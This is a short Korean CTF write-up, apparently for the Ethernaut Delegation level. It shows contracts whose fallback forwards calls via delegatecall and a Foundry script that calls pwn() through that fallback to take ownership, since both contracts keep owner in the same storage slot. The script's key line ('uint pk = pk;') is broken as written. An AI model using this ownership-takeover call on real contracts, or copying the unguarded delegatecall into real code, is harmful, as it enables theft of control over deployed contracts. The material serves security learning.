Prob
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
PoC
delegatecall을 통해서 외부 컨트랙트의 함수를 호출할 땐 스토리지가 덮여쓰일 수 있는데 이 점을 잘 고려해야합니다.
해당 문제는 Delegate 와 Delegation 컨트랙트의 owner가 같은 스토리지 번호를 사용하고 있기 때문에 pwn 함수를 호출하게 되면 Delegation 컨트랙트의 owner가 변경됩니다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
contract exploit is Script {
function run() public {
uint pk = pk;
vm.startBroadcast(pk);
address target = 0xedC5EB529948aa0e3365b8EBA435dE81617Cc4A5;
bytes memory data = abi.encodeWithSignature("pwn()");
target.call(data);
vm.stopBroadcast();
}
}
Ref
- https://velog.io/@youngju307/Solidity-Call-vs-Delegate-Call